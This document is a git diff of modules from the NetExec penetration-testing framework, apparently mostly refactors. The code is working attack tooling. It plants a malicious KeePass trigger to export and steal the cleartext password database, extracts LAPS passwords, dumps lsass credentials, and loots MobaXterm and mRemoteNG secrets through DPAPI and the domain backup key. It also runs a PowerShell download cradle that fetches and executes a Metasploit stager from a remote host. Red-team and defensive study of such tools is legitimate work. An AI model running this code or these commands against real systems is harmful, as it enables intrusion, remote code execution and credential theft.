context.log.display(f"The specified configuration file {self.keepass_config_path} already contains a trigger called '{self.trigger_name}', skipping")
@@ -171,14 +169,13 @@ class NXCModule:
# checks if the malicious trigger was effectively added to the specified KeePass configuration file
if self.trigger_added(context, connection):
context.log.success(f"Malicious trigger successfully added, you can now wait for KeePass reload and poll the exported files")
context.log.success("Malicious trigger successfully added, you can now wait for KeePass reload and poll the exported files")
else:
context.log.fail(f"Unknown error when adding malicious trigger to file")
context.log.fail("Unknown error when adding malicious trigger to file")
sys.exit(1)
def check_trigger_added(self, context, connection):
"""check if the trigger is added to the config file XML tree"""
"""Check if the trigger is added to the config file XML tree"""
if self.trigger_added(context, connection):
context.log.display(f"Malicious trigger '{self.trigger_name}' found in '{self.keepass_config_path}'")
else:
@@ -186,20 +183,19 @@ class NXCModule:
def restart(self, context, connection):
"""Force the restart of KeePass process using a Windows service defined using the powershell script RestartKeePass.ps1
If multiple process belonging to different users are running simultaneously,
relies on the USER option to choose which one to restart"""
If multiple process belonging to different users are running simultaneously, relies on the USER option to choose which one to restart
"""
# search for keepass processes
search_keepass_process_command_str = 'powershell.exe "Get-Process keepass* -IncludeUserName | Select-Object -Property Id,UserName,ProcessName | ConvertTo-CSV -NoTypeInformation"'
search_keepass_process_output_csv = connection.execute(search_keepass_process_command_str, True)
# we return the powershell command as a CSV for easier column parsing
csv_reader = reader(search_keepass_process_output_csv.split("\n"), delimiter=",")
next(csv_reader) # to skip the header line
keepass_process_list = list(csv_reader)
# we return the powershell command as a CSV for easier column parsing, skipping the header line
csv_reader = reader(search_keepass_process_output_csv.split("\n")[1:], delimiter=",")
# check if multiple processes belonging to different users are running (in order to choose which one to restart)
keepass_users = []
for process in keepass_process_list:
keepass_users.append(process[1])
keepass_users = [process[1] for process in list(csv_reader)]
if len(keepass_users) == 0:
context.log.fail("No running KeePass process found, aborting restart")
return
@@ -223,7 +219,7 @@ class NXCModule:
context.log.fail("Multiple KeePass processes were found, please specify parameter USER to target one")
return
context.log.display("Restarting {}'s KeePass process".format(keepass_users[0]))
context.log.display(f"Restarting {keepass_users[0]}'s KeePass process")
# prepare the restarting script based on user-specified parameters (e.g: keepass user, etc)
# see data/keepass_trigger_module/RestartKeePass.ps1
@@ -234,27 +230,28 @@ class NXCModule:
# actually performs the restart on the remote target
if self.powershell_exec_method == "ENCODE":
restart_keepass_script_b64 = b64encode(self.restart_keepass_script_str.encode("UTF-16LE")).decode("utf-8")
restart_keepass_script_cmd = "powershell.exe -e {}".format(restart_keepass_script_b64)
restart_keepass_script_cmd = f"powershell.exe -e {restart_keepass_script_b64}"
connection.execute(restart_keepass_script_cmd)
elif self.powershell_exec_method == "PS1":
try:
self.put_file_execute_delete(context, connection, self.restart_keepass_script_str)
except Exception as e:
context.log.fail("Error while restarting KeePass: {}".format(e))
context.log.fail(f"Error while restarting KeePass: {e}")
return
def poll(self, context, connection):
"""Search for the cleartext database export file in the specified export folder
(until found, or manually exited by the user)"""
(until found, or manually exited by the user)
"""
found = False
context.log.display(f"Polling for database export every {self.poll_frequency_seconds} seconds, please be patient")
context.log.display("we need to wait for the target to enter his master password ! Press CTRL+C to abort and use clean option to cleanup everything")
# if the specified path is %APPDATA%, we need to check in every user's folder
if self.export_path == "%APPDATA%" or self.export_path == "%appdata%":
poll_export_command_str = "powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\"".format(self.export_name)
poll_export_command_str = f"powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{self.export_name}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\""
else:
export_full_path = f"'{self.export_path}\\{self.export_name}'"
poll_export_command_str = 'powershell.exe "if (Test-Path {} -PathType leaf){{ Write-Output {} }}"'.format(export_full_path, export_full_path)
poll_export_command_str = f'powershell.exe "if (Test-Path {export_full_path} -PathType leaf){{ Write-Output {export_full_path} }}"'
# we poll every X seconds until the export path is found on the remote machine
while not found:
@@ -263,7 +260,7 @@ class NXCModule:
print(".", end="", flush=True)
sleep(self.poll_frequency_seconds)
continue
print("")
print()
# once a database is found, downloads it to the attackers machine
context.log.success("Found database export !")
@@ -274,29 +271,26 @@ class NXCModule:
connection.conn.getFile(self.share, export_path.split(":")[1], buffer.write)
# if multiple exports found, add a number at the end of local path to prevent override
if count > 0:
local_full_path = self.local_export_path + "/" + self.export_name.split(".")[0] + "_" + str(count) + "." + self.export_name.split(".")[1]
else:
local_full_path = self.local_export_path + "/" + self.export_name
local_full_path = f"{self.local_export_path}/{self.export_name.split('.'[0])}_{count!s}.{self.export_name.split('.'[1])}" if count > 0 else f"{self.local_export_path}/{self.export_name}"
# downloads the exported database
with open(local_full_path, "wb") as f:
f.write(buffer.getbuffer())
remove_export_command_str = "powershell.exe Remove-Item {}".format(export_path)
remove_export_command_str = f"powershell.exe Remove-Item {export_path}"
connection.execute(remove_export_command_str, True)
context.log.success('Moved remote "{}" to local "{}"'.format(export_path, local_full_path))
context.log.success(f'Moved remote "{export_path}" to local "{local_full_path}"')
found = True
except Exception as e:
context.log.fail("Error while polling export files, exiting : {}".format(e))
context.log.fail(f"Error while polling export files, exiting : {e}")
def clean(self, context, connection):
"""Checks for database export + malicious trigger on the remote host, removes everything"""
# if the specified path is %APPDATA%, we need to check in every user's folder
if self.export_path == "%APPDATA%" or self.export_path == "%appdata%":
poll_export_command_str = "powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\"".format(self.export_name)
poll_export_command_str = f"powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{self.export_name}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\""
else:
export_full_path = f"'{self.export_path}\\{self.export_name}'"
poll_export_command_str = 'powershell.exe "if (Test-Path {} -PathType leaf){{ Write-Output {} }}"'.format(export_full_path, export_full_path)
poll_export_command_str = f'powershell.exe "if (Test-Path {export_full_path} -PathType leaf){{ Write-Output {export_full_path} }}"'
poll_export_command_output = connection.execute(poll_export_command_str, True)
# deletes every export found on the remote machine
@@ -352,7 +346,7 @@ class NXCModule:
self.extract_password(context)
def trigger_added(self, context, connection):
"""check if the trigger is added to the config file XML tree (returns True/False)"""
"""Check if the trigger is added to the config file XML tree (returns True/False)"""
# check if the specified KeePass configuration file exists
if not self.keepass_config_path:
context.log.fail("No KeePass configuration file specified, exiting")
@@ -372,19 +366,15 @@ class NXCModule:
sys.exit(1)
# check if the specified KeePass configuration file does not already contain the malicious trigger
for trigger in keepass_config_xml_root.findall(".//Application/TriggerSystem/Triggers/Trigger"):
if trigger.find("Name").text == self.trigger_name:
return True
return False
return any(trigger.find("Name").text == self.trigger_name for trigger in keepass_config_xml_root.findall(".//Application/TriggerSystem/Triggers/Trigger"))
def put_file_execute_delete(self, context, connection, psh_script_str):
"""Helper to upload script to a temporary folder, run then deletes it"""
script_str_io = StringIO(psh_script_str)
connection.conn.putFile(self.share, self.remote_temp_script_path.split(":")[1], script_str_io.read)
script_execute_cmd = "powershell.exe -ep Bypass -F {}".format(self.remote_temp_script_path)
script_execute_cmd = f"powershell.exe -ep Bypass -F {self.remote_temp_script_path}"
connection.execute(script_execute_cmd, True)
remove_remote_temp_script_cmd = 'powershell.exe "Remove-Item "{}""'.format(self.remote_temp_script_path)
remove_remote_temp_script_cmd = f'powershell.exe "Remove-Item "{self.remote_temp_script_path}""'
connection.execute(remove_remote_temp_script_cmd)
def extract_password(self, context):
+7 -22
View File
@@ -1,9 +1,8 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import json
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from nxc.protocols.ldap.laps import LDAPConnect, LAPSv2Extract
from nxc.protocols.ldap.laps import LAPSv2Extract
class NXCModule:
"""
@@ -16,26 +15,20 @@ class NXCModule:
"""
name = "laps"
description = "Retrieves the LAPS passwords"
description = "Retrieves all LAPS passwords which the account has read permissions for."
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
"""
COMPUTER Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: *
"""
"""COMPUTER Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: *"""
self.computer = None
if "COMPUTER" in module_options:
self.computer = module_options["COMPUTER"]
def on_login(self, context, connection):
context.log.display("Getting LAPS Passwords")
if self.computer is not None:
searchFilter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.computer + "))"
else:
searchFilter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*)))"
searchFilter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.computer + "))" if self.computer is not None else "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*)))"
attributes = [
"msLAPS-EncryptedPassword",
"msLAPS-Password",
@@ -52,15 +45,7 @@ class NXCModule:
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in computer["attributes"]}
if "mslaps-encryptedpassword" in values:
msMCSAdmPwd = values["mslaps-encryptedpassword"]
d = LAPSv2Extract(
bytes(msMCSAdmPwd),
connection.username if connection.username else "",
connection.password if connection.password else "",
connection.domain,
connection.nthash if connection.nthash else "",
connection.kerberos,
connection.kdcHost,
339)
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339)
try:
data = d.run()
except Exception as e:
@@ -78,6 +63,6 @@ class NXCModule:
laps_computers = sorted(laps_computers, key=lambda x: x[0])
for sAMAccountName, user, password in laps_computers:
context.log.highlight("Computer:{} User:{:<15} Password:{}".format(sAMAccountName, user, password))
context.log.highlight(f"Computer:{sAMAccountName} User:{user:<15} Password:{password}")
else:
context.log.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password !")
+56 -42
View File
@@ -1,5 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket
import ssl
import asyncio
@@ -12,6 +10,8 @@ from asyauth.common.credentials.ntlm import NTLMCredential
from asyauth.common.credentials.kerberos import KerberosCredential
from asysocks.unicomm.common.target import UniTarget, UniProto
import sys
class NXCModule:
"""
@@ -28,10 +28,7 @@ class NXCModule:
multiple_hosts = True
def options(self, context, module_options):
"""
No options available.
"""
pass
"""No options available."""
def on_login(self, context, connection):
# Conduct a bind to LDAPS and determine if channel
@@ -42,10 +39,15 @@ class NXCModule:
async def run_ldaps_noEPA(target, credential):
ldapsClientConn = MSLDAPClientConnection(target, credential)
_, err = await ldapsClientConn.connect()
# Required step to try to bind without channel binding
ldapsClientConn.cb_data = None
if err is not None:
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
exit()
_, err = await ldapsClientConn.bind()
sys.exit()
valid, err = await ldapsClientConn.bind()
if "data 80090346" in str(err):
return True # channel binding IS enforced
elif "data 52e" in str(err):
@@ -57,16 +59,16 @@ class NXCModule:
# Conduct a bind to LDAPS with channel binding supported
# but intentionally miscalculated. In the case that and
# LDAPS bind has without channel binding supported has occured,
# LDAPS bind has without channel binding supported has occurred,
# you can determine whether the policy is set to "never" or
# if it's set to "when supported" based on the potential
# error recieved from the bind attempt.
# error received from the bind attempt.
async def run_ldaps_withEPA(target, credential):
ldapsClientConn = MSLDAPClientConnection(target, credential)
_, err = await ldapsClientConn.connect()
if err is not None:
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
exit()
sys.exit()
# forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message
ldapsClientConn.cb_data = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
_, err = await ldapsClientConn.bind()
@@ -90,11 +92,12 @@ class NXCModule:
def DoesLdapsCompleteHandshake(dcIp):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
ssl_sock = ssl.wrap_socket(
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_sock = ssl_context.wrap_socket(
s,
cert_reqs=ssl.CERT_OPTIONAL,
suppress_ragged_eofs=False,
do_handshake_on_connect=False,
suppress_ragged_eofs=False,
)
ssl_sock.connect((dcIp, 636))
try:
@@ -117,21 +120,32 @@ class NXCModule:
# requirements are enforced based on potential errors
# during the bind attempt.
async def run_ldap(target, credential):
ldapsClientConn = MSLDAPClientConnection(target, credential)
_, err = await ldapsClientConn.connect()
if err is None:
_, err = await ldapsClientConn.bind()
if "stronger" in str(err):
return True # because LDAP server signing requirements ARE enforced
elif ("data 52e" or "data 532") in str(err):
context.log.fail("Not connected... exiting")
exit()
elif err is None:
try:
ldapsClientConn = MSLDAPClientConnection(target, credential)
ldapsClientConn._disable_signing = True
_, err = await ldapsClientConn.connect()
if err is not None:
context.log.fail(str(err))
return False
else:
context.log.fail(str(err))
_, err = await ldapsClientConn.bind()
if err is not None:
errstr = str(err).lower()
if "stronger" in errstr:
return True
# because LDAP server signing requirements ARE enforced
else:
context.log.fail(str(err))
else:
# LDAPS bind successful
return False
# because LDAP server signing requirements are not enforced
except Exception as e:
context.log.debug(str(e))
return False
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT
secret = connection.password if not connection.nthash else connection.nthash
if not connection.kerberos:
@@ -143,13 +157,14 @@ class NXCModule:
)
else:
kerberos_target = UniTarget(
connection.hostname + '.' + connection.domain,
connection.host,
88,
UniProto.CLIENT_TCP,
hostname=connection.remoteName,
dc_ip=connection.kdcHost,
domain=connection.domain,
proxies=None,
dns=None,
dc_ip=connection.domain,
domain=connection.domain
)
credential = KerberosCredential(
target=kerberos_target,
@@ -159,30 +174,29 @@ class NXCModule:
stype=stype,
)
target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
target = MSLDAPTarget(connection.host, 389, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
ldapIsProtected = asyncio.run(run_ldap(target, credential))
if ldapIsProtected == False:
if ldapIsProtected is False:
context.log.highlight("LDAP Signing NOT Enforced!")
elif ldapIsProtected == True:
elif ldapIsProtected is True:
context.log.fail("LDAP Signing IS Enforced")
else:
context.log.fail("Connection fail, exiting now")
exit()
sys.exit()
if DoesLdapsCompleteHandshake(connection.host) == True:
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
if DoesLdapsCompleteHandshake(connection.host) is True:
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
if ldapsChannelBindingAlwaysCheck == False and ldapsChannelBindingWhenSupportedCheck == True:
if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True:
context.log.highlight('LDAPS Channel Binding is set to "When Supported"')
elif ldapsChannelBindingAlwaysCheck == False and ldapsChannelBindingWhenSupportedCheck == False:
elif ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is False:
context.log.highlight('LDAPS Channel Binding is set to "NEVER"')
elif ldapsChannelBindingAlwaysCheck == True:
elif ldapsChannelBindingAlwaysCheck is True:
context.log.fail('LDAPS Channel Binding is set to "Required"')
else:
context.log.fail("\nSomething went wrong...")
exit()
sys.exit()
else:
context.log.fail(connection.domain + " - cannot complete TLS handshake, cert likely not configured")
@@ -1,5 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Author:
# Romain Bentz (pixis - @hackanddo)
# Website:
@@ -27,9 +25,7 @@ class NXCModule:
self.method = None
def options(self, context, module_options):
"""
METHOD Method to use to dump lsass.exe with lsassy
"""
"""METHOD Method to use to dump lsass.exe with lsassy"""
self.method = "comsvcs"
if "METHOD" in module_options:
self.method = module_options["METHOD"]
@@ -60,7 +56,7 @@ class NXCModule:
dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method)
if dumper is None:
context.log.fail("Unable to load dump method '{}'".format(self.method))
context.log.fail(f"Unable to load dump method '{self.method}'")
return False
file = dumper.dump()
@@ -68,20 +64,20 @@ class NXCModule:
context.log.fail("Unable to dump lsass")
return False
parsed = Parser(file).parse()
parsed = Parser(host, file).parse()
if parsed is None:
context.log.fail("Unable to parse lsass dump")
return False
credentials, tickets, masterkeys = parsed
file.close()
context.log.debug(f"Closed dumper file")
context.log.debug("Closed dumper file")
file_path = file.get_file_path()
context.log.debug(f"File path: {file_path}")
try:
deleted_file = ImpacketFile.delete(session, file_path)
if deleted_file:
context.log.debug(f"Deleted dumper file")
context.log.debug("Deleted dumper file")
else:
context.log.fail(f"[OPSEC] No exception, but failed to delete file: {file_path}")
except Exception as e:
@@ -119,7 +115,7 @@ class NXCModule:
)
credentials_output.append(cred)
context.log.debug(f"Calling process_credentials")
context.log.debug("Calling process_credentials")
self.process_credentials(context, connection, credentials_output)
def process_credentials(self, context, connection, credentials):
@@ -128,7 +124,7 @@ class NXCModule:
credz_bh = []
domain = None
for cred in credentials:
if cred["domain"] == None:
if cred["domain"] is None:
cred["domain"] = ""
domain = cred["domain"]
if "." not in cred["domain"] and cred["domain"].upper() in connection.domain.upper():
@@ -157,7 +153,7 @@ class NXCModule:
def print_credentials(context, domain, username, password, lmhash, nthash):
if password is None:
password = ":".join(h for h in [lmhash, nthash] if h is not None)
output = "%s\\%s %s" % (domain, username, password)
output = f"{domain}\\{username} {password}"
context.log.highlight(output)
@staticmethod
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
class NXCModule:
"""
@@ -17,7 +14,7 @@ class NXCModule:
def options(self, context, module_options):
pass
name = "MAQ"
name = "maq"
description = "Retrieves the MachineAccountQuota domain-level attribute"
supported_protocols = ["ldap"]
opsec_safe = True
+4 -7
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from masky import Masky
from nxc.helpers.bloodhound import add_user_bh
@@ -13,7 +10,7 @@ class NXCModule:
multiple_hosts = True
def options(self, context, module_options):
"""
r"""
CA Certificate Authority Name (CA_SERVER\CA_NAME)
TEMPLATE Template name allowing users to authenticate with (default: User)
DC_IP IP Address of the domain controller
@@ -40,7 +37,7 @@ class NXCModule:
def on_admin_login(self, context, connection):
if not self.ca:
context.log.fail("Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)")
context.log.fail(r"Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)")
return False
host = connection.host
@@ -85,7 +82,7 @@ class NXCModule:
pwned_users = 0
for user in rslts.users:
if user.nthash:
context.log.highlight(f"{user.domain}\{user.name} {user.nthash}")
context.log.highlight(f"{user.domain}\\{user.name} {user.nthash}")
self.process_credentials(connection, context, user)
pwned_users += 1
@@ -115,7 +112,7 @@ class NXCModule:
if not tracker.files_cleaning_success:
context.log.fail("Fail to clean files related to Masky")
context.log.fail((f"Please remove the files named '{tracker.agent_filename}', '{tracker.error_filename}', " f"'{tracker.output_filename}' & '{tracker.args_filename}' within the folder '\\Windows\\Temp\\'"))
context.log.fail(f"Please remove the files named '{tracker.agent_filename}', '{tracker.error_filename}', '{tracker.output_filename}' & '{tracker.args_filename}' within the folder '\\Windows\\Temp\\'")
ret = False
if not tracker.svc_cleaning_success:
+22 -26
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from sys import exit
@@ -30,6 +27,8 @@ class NXCModule:
SRVPORT Stager port
RAND Random string given by metasploit (if using web_delivery)
SSL Stager server use https or http (default: https)
This module is compatable with --obfs, --force-ps32 (PowerShell execution options)
multi/handler method that don't require RAND:
Set LHOST and LPORT (called SRVHOST and SRVPORT in nxc module options)
@@ -38,10 +37,12 @@ class NXCModule:
windows/x64/powershell_reverse_tcp_ssl
Web Delivery Method (exploit/multi/script/web_delivery):
Set SRVHOST and SRVPORT
Set target 2 (PSH)
Set payload to what you want (windows/meterpreter/reverse_https, etc)
after running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that
check compatabile payloads with `show payloads`
Optional: SET URIPATH {custom}
After running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that, or whatever you set URIPATH to
"""
self.met_ssl = "https"
if "SRVHOST" not in module_options or "SRVPORT" not in module_options:
@@ -57,24 +58,19 @@ class NXCModule:
self.srvport = module_options["SRVPORT"]
def on_admin_login(self, context, connection):
# stolen from https://github.com/jaredhaight/Invoke-MetasploitPayload
command = """$url="{}://{}:{}/{}"
$DownloadCradle ='[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+'''");'
$PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\powershell.exe'
if([Environment]::Is64BitProcess) {{ $PowershellExe='powershell.exe'}}
$ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo
$ProcessInfo.FileName=$PowershellExe
$ProcessInfo.Arguments="-nop -c $DownloadCradle"
$ProcessInfo.UseShellExecute = $False
$ProcessInfo.RedirectStandardOutput = $True
$ProcessInfo.CreateNoWindow = $True
$ProcessInfo.WindowStyle = "Hidden"
$Process = [System.Diagnostics.Process]::Start($ProcessInfo)""".format(
"http" if self.met_ssl == "http" else "https",
self.srvhost,
self.srvport,
self.rand,
)
context.log.debug(command)
connection.ps_execute(command, force_ps32=True)
context.log.success("Executed payload")
# https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/code_execution/Invoke-MetasploitPayload.ps1
proto = "http" if self.met_ssl == "http" else "https"
metasploit_endpoint = f"{proto}://{self.srvhost}:{self.srvport}/{self.rand}"
context.log.debug(f"{metasploit_endpoint=}")
# use single quotes inside because if we run this in 32bit PowerShell, the entire command is double quoted (see helpers/powershell.py:create_ps_command())
command = f"$ProgressPreference = 'SilentlyContinue'; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{metasploit_endpoint}');"
context.log.debug(f"Running command via ps_execute: {command}")
output = connection.ps_execute(command)
context.log.debug(f"Received output from ps_execute: {output}")
if output and "Unable to connect to the remote server" in output:
context.log.error("Executed payload, but the cradle was unable to download the stager, is the Metasploit server running?")
else:
context.log.success("Executed payload")
+128
View File
@@ -0,0 +1,128 @@
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
from dploot.triage.backupkey import BackupkeyTriage
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
from nxc.helpers.logger import highlight
class NXCModule:
name = "mobaxterm"
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
PVK Domain backup key file
MKFILE File with masterkeys in form of {GUID}:SHA1
"""
self.pvkbytes = None
self.masterkeys = None
self.conn = None
self.target = None
if "PVK" in module_options:
self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115
if "MKFILE" in module_options:
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115
def on_admin_login(self, context, connection):
host = connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
if self.pvkbytes is None:
try:
dc = Target.create(
domain=domain,
username=username,
password=password,
target=domain,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
no_pass=True,
use_kcache=use_kcache,
)
dc_conn = DPLootSMBConnection(dc)
dc_conn.connect()
if dc_conn.is_admin:
context.log.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
self.pvkbytes = backupkey.backupkey_v2
except Exception as e:
context.log.debug(f"Could not get domain backupkey: {e}")
self.target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
no_pass=True,
use_kcache=use_kcache,
)
try:
self.conn = DPLootSMBConnection(self.target)
self.conn.smb_session = connection.conn
except Exception as e:
context.log.debug(f"Could not upgrade connection: {e}")
return
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
if password != "":
plaintexts[username] = password
if nthash != "":
nthashes[username] = nthash
if self.masterkeys is None:
try:
masterkeys_triage = MasterkeysTriage(
target=self.target,
conn=self.conn,
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem={},
)
self.masterkeys = masterkeys_triage.triage_masterkeys()
except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
try:
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
_, credentials = triage.triage_mobaxterm()
for credential in credentials:
if isinstance(credential, MobaXtermCredential):
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
elif isinstance(credential, MobaXtermPassword):
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
context.log.highlight(f"[{credential.winuser}] {log_text}")
except Exception as e:
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
+212
View File
@@ -0,0 +1,212 @@
import ntpath
from dploot.lib.smb import DPLootSMBConnection
from dploot.lib.target import Target
from Cryptodome.Cipher import AES
from lxml import objectify
from base64 import b64decode
import hashlib
from dataclasses import dataclass
@dataclass
class MRemoteNgEncryptionAttributes:
kdf_iterations: int
block_cipher_mode: str
encryption_engine: str
full_file_encryption: bool
class NXCModule:
"""
Dump mRemoteNG Passwords
module by @_zblurx
"""
name = "mremoteng"
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.false_positive = (
".",
"..",
"desktop.ini",
"Public",
"Default",
"Default User",
"All Users",
)
self.mRemoteNg_path = [
"Users\\{username}\\AppData\\Local\\mRemoteNG",
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
]
self.custom_user_path = [
"Users\\{username}\\Desktop",
"Users\\{username}\\Documents",
]
self.recurse_max = 10
def options(self, context, module_options):
"""
SHARE Share parsed. Default to C$
PASSWORD Custom password to decrypt confCons.xml files
CUSTOM_PATH Custom path to confCons.xml file
"""
self.context = context
self.password = "mR3m"
if "PASSWORD" in module_options:
self.password = module_options["PASSWORD"]
self.custom_path = None
if "CUSTOM_PATH" in module_options:
self.custom_path = module_options["CUSTOM_PATH"]
def on_admin_login(self, context, connection):
# 1. Evole conn into dploot conn
self.context = context
self.connection = connection
self.share = connection.args.share
host = f"{connection.hostname}.{connection.domain}"
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
use_kcache=use_kcache,
)
dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
# 2. Dump users list
users = self.get_users(dploot_conn)
